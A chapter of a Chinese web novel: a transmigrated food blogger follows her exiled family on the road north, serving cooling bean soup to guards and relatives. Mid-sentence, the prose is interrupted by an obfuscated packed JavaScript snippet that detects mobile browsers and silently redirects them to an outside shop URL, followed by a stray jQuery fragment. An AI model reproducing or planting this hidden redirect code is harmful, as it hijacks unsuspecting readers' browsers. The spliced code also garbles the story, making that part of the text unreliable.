钟昭意穿过来前,当了足足五年美食博主,因为竞争愈发激烈,偶尔也会拍些创意短视频,稳住老粉的同时,吸引新粉丝。
这辆准备充足的小摊车,就是她研究几天后,思考出的拍摄内容。
在人山人海的仿古景区,摆摊卖铁板炒饭炒粉。
赶制小摊车期间,钟昭意特地发了个短视频征询老粉的建议。
有说想吃狼牙土豆的,有说想吃铁板烤串的,还有铁板烧、铁板烤鱼、铁板煎牛排……
到那个景区旅游的人非常非常多,说不定就有她的粉丝。
钟昭意摆摊前一条条记下建议,准备好各色各样的食材和调料,为此特地把小摊车加长又加宽,放得下更多食材。
小摊车里甚至塞了两个坛子,里头装着她亲手腌制的酸菜酸萝卜酸豆角和酸姜等等,和一个小灶、一大个焖饭的木桶,一口砂锅。
然而小摊车刚准备好,并依据该景点的古风特色,做了相应的外观调整,她还没把饭焖上呢,就被飞来横祸撞穿了。
“到前面阴凉处休息一刻钟,晚上在十二里外的急递铺过夜,一刻钟后立即上路,不要懈怠,继续赶行程!”
钟昭意听到姓徐的差役远远吆喝一声,找了处树荫遮挡的地方,慢悠悠停下小摊车。
她眺望前方漫长的满是尘土的官道,和路两边被晒蔫了的草木,已然想好晚上吃什么。
顶着烈日暴晒跋涉二三十里路,头脑肿胀、身形俱疲,哪还吃得下什么油腻冷硬的食物。
熬粥配几样开胃小菜,正好。
和钟昭意的还算轻松截然不同,流放犯人们戴着重枷,被晒得口又渴头又晕,什么念头都生不出,一到阴凉地,便泄了全身力气,一屁股坐在了地上,大口大口直喘气。
押送囚犯的差役状态尚佳。
虽说都是步行,但他们不用戴枷和锁链,个个戴着水囊,不缺水喝。
最关键的是,差役们大多是老手,经常押送犯人出京流放到各地,一年到头奔波在路上的时间将近大半,身板可比这些个当惯了官老爷官夫人的要硬朗。
找了个地儿窝着歇息时,还有精力聊上几句。
徐蓬给囚车里的几个人喂完水走回来,就听几个闲到发慌的,指着钟昭意那小吃摊嘀咕个不停。
有好奇小吃摊不推怎么动的,当然也有纳闷钟昭意好好的楚家夫人不当,非得随行北上流放的。
徐蓬本来不想掺和,聊几句就聊几句呗,只要不出格就行。
扭头一看钟昭意揣着个砂锅,挎了个长竹筒走来,他重重咳了一声。
差役们识趣歇了声响,沉默看着钟昭意走近。
钟昭意并没有直接去囚犯堆,照样先找上徐蓬,递过砂锅:
“徐大哥,夏日暑热,我早上熬了一锅三豆汤,给各位解暑。”
这锅三豆汤是拿红豆绿豆黑豆三种豆子,加乌梅、白糖细细熬的,解暑清热补津液。
钟昭意在长亭摆摊期间,都会熬上一锅,为流放跋涉的亲人准备着。
每天过了晌午没等来亲人,就低价卖给买鲜葱肉饼的食客。
徐蓬揭开砂锅打量几眼后重新盖上,随意指了个差役,示意他端走:
“给兄弟们分分。”
被点名的差役瞅瞅钟昭意,略显迟疑:“大人……”
万一钟昭意在三豆汤里下迷药或毒药,然后……
钟昭意神色淡淡,仿佛听不懂他话里的隐晦意思。
徐蓬一巴掌拍在那差役的脑袋上,示意他去看钟家一行人。
跑?
怎么跑?
他们前脚逃走,后脚整个盛郡王府都得下狱,连带楚秉钧都得遭牵连。
便是为了盛郡王府上下几百口性命,刘妙仪都不可能答应钟昭意干迷晕差役后逃跑这等蠢事。
另外,听令赶往铁岭卫充军,钟家上下说不定还有再度过上好日子的一天。
半道上逃跑,这辈子可就都得被朝廷通缉,别说返京,就连正常日子,都过不得。
对这些享受惯了荣华的人来说,比死还难受。
那差役看看倒在地上直喘气的钟锦和三人,也意识到他犯了蠢。
江湖草莽、底层百姓被充军,可能会半道上逃跑,往深山老林里一钻了事。
但对这些落魄了的贵人来说,人迹罕至的深山老林,甚至比辽东还要可怕。
认命充军流放,或许还有一丝回京再获荣华的希望;
逃跑,可就什么都没了。
那差役想明白后接过砂锅,挨个分去了。
徐蓬对钟昭意没有径直去找钟锦和三人的行为还算满意,心底最后那一丝顾虑彻底消失,隐晦地说:
“钟姑娘接下来这段路可别走太快,尤其到了急递铺,记得紧跟在囚车后。”
钟昭意自知她既不是官员,又不是差役军兵,按理来说,是不能住进急递铺的。
听到徐蓬这番话后,钟昭意略略有些惊讶:
“徐大哥……”
徐蓬摆摆手,不欲把话说得太明白:“我亦是受人所托,钟姑娘不必放在心上,只是这住处……”
要不是有人在上头担着责任,他才不会冒半点风险。
囚犯处,
刘妙仪瘫在地上大口喘着气,哪还顾得上什么脏不脏,成不成体统的。
差役押送囚犯,都是熟手了。
年轻力壮的男丁走在最前面,通过长锁链拽动后面的老弱病残,就能加快行程。
刘妙仪从没吃过这种苦头,一路上将心底的疑惑都抛在了脑后,满脑子只剩下脖子上沉重的木枷,脚腕上走一步哗哗响的铁锁链,走在前面摇摇晃晃的背影,和脚下满是尘土的路。
听到钟昭意的呼喊声,刘妙仪下意识舔舔干得快要裂开的唇瓣,在钟锦和和钟云宴的搀扶下,慢慢坐直了。
“娘,快喝口汤饮。”
钟昭意旋开竹筒,将盛满三豆汤的竹筒放到娘亲唇边,眼见她速度虽慢但喉咙在动,可算松了口气。
几小口酸甜清凉的汤饮下肚,刘妙仪可算缓过劲,克制住继续喝的念头,推开竹筒,哑着嗓子喊:
“给你那遭瘟的爹,和不成器的弟弟喝一口。”
钟锦和其实也没好到哪儿去,整个人都快不行了,硬生生挨了一顿骂,恹恹地说:
“昭意,你喝,你喝剩下的,我再和你弟分分。”
钟昭意随身配戴水囊,全程又没走过半步路,状况可比爹和弟弟好上太多:
“你们喝,我那儿还有。”
顶着钟锦和和钟云宴不信的视线,钟昭意给娘仔细检查过身上的几处,脖颈上细嫩的皮肤被木枷磨破,手腕同样带着细碎的伤口,也就脚上做了些许措施,并未伤到,或磨出水泡。
钟昭意看得心疼,娘从前贵为县主,哪里受过这等苦?
可……徐差役准她来送份
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356494|199688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
汤饮,已算是额外破例。
钟昭意面露愧疚:“娘,我……”
刘妙仪并未受刑,只被木枷压得喘不过气,注意到女儿担忧的视线,白着脸摇头:
“我没什么事,你又何必自责,要怪就怪你爹,怪他有那么一群脑壳有疾的家人!
也怪老娘当年瞎了眼,只相中你爹那副皮相,忘了细查钟家其他人的底细,就嫁了过来。
昭意啊,幸好你没走你老娘我的后路,楚秉钧皮相好,脑子又聪明,一时半会儿垮不了,你听娘的话,回京和他踏实过日子……”
钟昭意垂眼,其实她刚刚有过一瞬的念头,是不是求一求楚秉钧,就能救下亲人。
楚秉钧既能托差役照拂她,说不定并没有那般淡漠薄情。
可钟昭意清楚明白地知道,这事,求楚秉钧也没用。
就跟爹说的一样,站错了队、支持错了人,就得自己承担相应的后果
新帝亲自下的令,朝廷众多势力就等着他犯错,楚秉钧何必放弃大好前程,以身犯险?
更何况……原剧情里,钟昭意求过楚秉钧的。
楚秉钧一次又一次干脆拒绝,直到终于不耐烦,把她送进偏院派人牢牢看住,连句话、连个消息都不让传。
钟昭意眨眨眼,扯出一个安抚的笑:
“娘,我担心你们,你就让我随行北上吧。你看,我可有用了,我能给你们送汤饮,给你们涂药,给你们做早中晚饭……明天早上我给你们做包子吃,可好?”
刘妙仪心底的猜测几乎被坐实,她强忍住痛骂楚秉钧一顿的念头,摸摸昭意拿根木簪简单挽起的头发,语气复杂地说:
“好……好……娘的昭意最能干了……”
钟昭意并没有在亲人身边待太久,催促爹和云宴喝下三豆汤后回到小摊车旁,休息的同时,视线扫过负责押送爹娘三人的那个差役。
刘妙仪揣了一肚子话不能说,索性闭眼继续休息,钟云宴和爹娘背靠着背,还在回味三豆汤的滋味,就被人推了推肩膀。
钟云宴转过头一看,是梁家长子梁司笙,也就是那个提出拿包袱换肉饼的王书生的好友。
钟云宴一直都是个混不吝的性子,拿娘的话来说,就是狗都嫌,活脱脱一个不求上进的纨绔。
跟梁家长子这等家族精心培养的世家公子,堪称天差地别,两人见倒是见过几面,可都是路过点点头的交情,没什么太深的交集。
他顶着日头眯起眼,看在王书生的面子上,勉强给了个好脸:“有事?”
梁司笙挣扎扑到钟云宴身旁,压低声音问:
“云宴兄,你走了十几里路,还能走得动吗?脚上就没起水泡?”
这一批囚犯个个金尊玉贵,出门不是骑马就是乘轿,哪里走过这么远的路?
除了囚车上的三皇子一行人,几乎人人脚底长了水泡,走一步都难受。
钟家其他人同样如此,又累又疼又难受,正支起胳膊,互相往彼此的脚底板涂金疮药,都没功夫找茬,骂一句钟昭意连解暑汤饮都不送上,实在不孝。
梁司笙正给儿子涂着药,以免接下来一段路走不动挨鞭子抽,余光却注意到钟锦和一家三口。
和囚犯们的狼狈难堪不同,钟锦和一家背在一块儿,半眯起眼养神,既不喊渴累,也不嚷脚疼,可比其他人好上太多。
梁司笙看看三岁的儿子,和年近五十的爹娘,不得不厚起脸皮来问问情况。